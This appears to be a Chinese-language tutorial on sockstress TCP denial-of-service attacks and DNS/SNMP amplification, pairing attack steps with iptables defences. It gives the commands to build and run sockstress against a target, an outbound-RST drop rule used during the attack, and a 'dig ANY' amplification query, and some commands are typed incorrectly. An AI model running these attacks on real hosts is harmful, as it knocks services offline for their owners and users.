DoS與DdoS攻防分析之——流量放大與sockstress攻防

流量放大與sockstress攻防

sockstress攻擊

原理簡介

2008年由 Jack C. Louis 發現,針對TCP服務的拒絕服務攻擊

消耗被攻擊目標系統資源 與攻擊目標建立大量socket鏈接
完成三次握手,最後的ACK包window大小爲0 (客戶端不接收數據) 攻擊者資源消耗小(CPU、內存、帶寬)
與SYN不同在於完成三次握手

攻擊時在攻擊端抓包可以看見win=0
異步攻擊,單機可拒絕服務高配資源服務器
Window窗口實現的TCP流控

攻擊方法

有的時候使用工具的時候提示權限不夠
chmod 777給一個權限

Python攻擊腳本

./sicjstress.py 1.1.1.1 21 100

C攻擊腳本

-https://github.com/defuse/sockstress 
			-gcc -Wall -c sockstress.c
			-gcc -pthread -o sockstress sockstress.o

兩種攻擊模式

-./sockstress 1.1.1.1:80 eth0

直接攻擊端口

-./sockstress 1.1.1.1:80 eth0 -p payloads/http

攻擊站點

-d是微秒內指定,默認爲1000000 改成10之後併發帶度更快。
在語句後面添加

防火牆規則

-iptables -A OUTPUT -p TCP --tcp-flags rst rst -d 1.1.1.1 -j DROP

防範

防禦措施
直到今天sockstress攻擊仍然是一種很有效的DoS攻擊方式 由於建立完整的TCP三步握手,因此使用syn cookie防禦無效 根本的防禦方法是採用白名單(不實際)
折中對策:限制單位時間內每IP建的TCP連接數
封殺每30秒與80端口建立連接超過10個的IP地址

iptables -I INPUT -p tcp --dport 80 -m state --state NEW -m recent --set
				
iptables -I INPUT -p tcp --dport 80 -m state --state NEW -m recent --update --seconds 30 --hitcount 10 -j DROP

以上規則對DDoS攻擊無效

DNS放大攻擊

產生大流量的攻擊方法
單機的帶寬優勢
巨大單機數量形成的流量匯聚
利用協議特性實現放大效果的流量

DNS協議放大效果

查詢請求流量小,但響應流量可能非常巨大
kali中使用 digANYhp.com @202.106.0.20 (流量放大約8倍)

攻擊原理 僞造源地址爲被攻擊目標地址,向遞歸域名查詢服務器發起查詢
DNS服務器成爲流量放大和實施攻擊者,大量DNS服務器實現DDoS

SNMP放大攻擊

攻擊原理 請求流量小,查詢結果返回流量大 結合僞造源地址實現攻擊

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章